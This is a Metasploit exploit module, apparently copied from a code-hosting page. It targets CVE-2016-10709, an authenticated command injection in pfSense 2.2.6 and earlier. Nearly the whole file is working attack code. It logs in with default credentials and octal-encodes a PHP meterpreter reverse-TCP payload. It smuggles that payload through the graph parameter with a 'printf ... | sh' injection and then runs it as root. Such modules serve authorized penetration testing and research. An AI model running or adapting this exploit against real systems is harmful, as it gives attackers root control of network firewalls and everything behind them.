175 lines
5.6 KiB
Ruby
175 lines
5.6 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::FileDropper
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'pfSense authenticated graph status RCE',
|
|
'Description' => %q(
|
|
pfSense, a free BSD based open source firewall distribution,
|
|
version <= 2.2.6 contains a remote command execution
|
|
vulnerability post authentication in the _rrd_graph_img.php page.
|
|
The vulnerability occurs via the graph GET parameter. A non-administrative
|
|
authenticated attacker can inject arbitrary operating system commands
|
|
and execute them as the root user. Verified against 2.2.6, 2.2.5, and 2.1.3.
|
|
),
|
|
'Author' =>
|
|
[
|
|
'Security-Assessment.com', # discovery
|
|
'Milton Valencia', # metasploit module <wetw0rk>
|
|
'Jared Stephens', # python script <mvrk>
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2016-10709' ],
|
|
[ 'EDB', '39709' ],
|
|
[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/pfsenseAdvisory.pdf']
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'php',
|
|
'Privileged' => 'true',
|
|
'DefaultOptions' =>
|
|
{
|
|
'SSL' => true,
|
|
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
|
|
'Encoder' => 'php/base64'
|
|
},
|
|
'Arch' => [ ARCH_PHP ],
|
|
'Payload' =>
|
|
{
|
|
'Space' => 6000,
|
|
'Compat' =>
|
|
{
|
|
'ConnectionType' => '-bind',
|
|
}
|
|
},
|
|
'Targets' => [[ 'Automatic Target', {} ]],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => '2016-04-18',
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
|
|
OptString.new('PASSWORD', [ true, 'Password to login with', 'pfsense']),
|
|
Opt::RPORT(443)
|
|
], self.class
|
|
)
|
|
end
|
|
|
|
def login
|
|
res = send_request_cgi(
|
|
'uri' => '/index.php',
|
|
'method' => 'GET'
|
|
)
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
|
|
|
|
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
|
|
vprint_status("CSRF Token for login: #{csrf}")
|
|
|
|
res = send_request_cgi(
|
|
'uri' => '/index.php',
|
|
'method' => 'POST',
|
|
'vars_post' => {
|
|
'__csrf_magic' => csrf,
|
|
'usernamefld' => datastore['USERNAME'],
|
|
'passwordfld' => datastore['PASSWORD'],
|
|
'login' => ''
|
|
}
|
|
)
|
|
unless res
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
|
|
end
|
|
if res.code == 302
|
|
vprint_status("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
|
|
return res.get_cookies
|
|
else
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
|
|
return nil
|
|
end
|
|
end
|
|
|
|
def detect_version(cookie)
|
|
res = send_request_cgi(
|
|
'uri' => '/index.php',
|
|
'method' => 'GET',
|
|
'cookie' => cookie
|
|
)
|
|
unless res
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
|
|
end
|
|
/Version.+<strong>(?<version>[0-9\.\-RELEASE]+)[\n]?<\/strong>/m =~ res.body
|
|
if version
|
|
print_status("Detected pfSense #{version}, uploading intial payload")
|
|
return Rex::Version.new(version)
|
|
end
|
|
# If the device isn't fully setup, you get stuck at redirects to wizard.php
|
|
# however, this does NOT stop exploitation strangely
|
|
print_error('pfSense version not detected or wizard still enabled.')
|
|
Rex::Version.new('0.0')
|
|
end
|
|
|
|
def exploit
|
|
begin
|
|
cookie = login
|
|
version = detect_version(cookie)
|
|
filename = rand_text_alpha(rand(1..10))
|
|
|
|
# generate the PHP meterpreter payload
|
|
stager = 'echo \'<?php '
|
|
stager << payload.encode
|
|
stager << "?>\' > #{filename}"
|
|
# here we begin the encoding process to
|
|
# convert the payload to octal! Ugly code
|
|
# don't look
|
|
complete_stage = ""
|
|
for i in 0..(stager.length()-1)
|
|
if version.to_s =~ /2.2/
|
|
complete_stage << '\\'
|
|
end
|
|
complete_stage << "\\#{stager[i].ord.to_s(8)}"
|
|
end
|
|
|
|
res = send_request_cgi(
|
|
'uri' => '/status_rrd_graph_img.php',
|
|
'method' => 'GET',
|
|
'cookie' => cookie,
|
|
'vars_get' => {
|
|
'database' => '-throughput.rrd',
|
|
'graph' => "file|printf '#{complete_stage}'|sh|echo",
|
|
}
|
|
)
|
|
|
|
if res && res.code == 200
|
|
print_status('Payload uploaded successfully, executing')
|
|
register_file_for_cleanup(filename)
|
|
else
|
|
print_error('Failed to upload payload...')
|
|
end
|
|
|
|
res = send_request_cgi({
|
|
'uri' => '/status_rrd_graph_img.php',
|
|
'method' => 'GET',
|
|
'cookie' => cookie,
|
|
'vars_get' => {
|
|
'database' => '-throughput.rrd',
|
|
'graph' => "file|php #{filename}|echo "
|
|
}
|
|
})
|
|
disconnect
|
|
end
|
|
end
|
|
end
|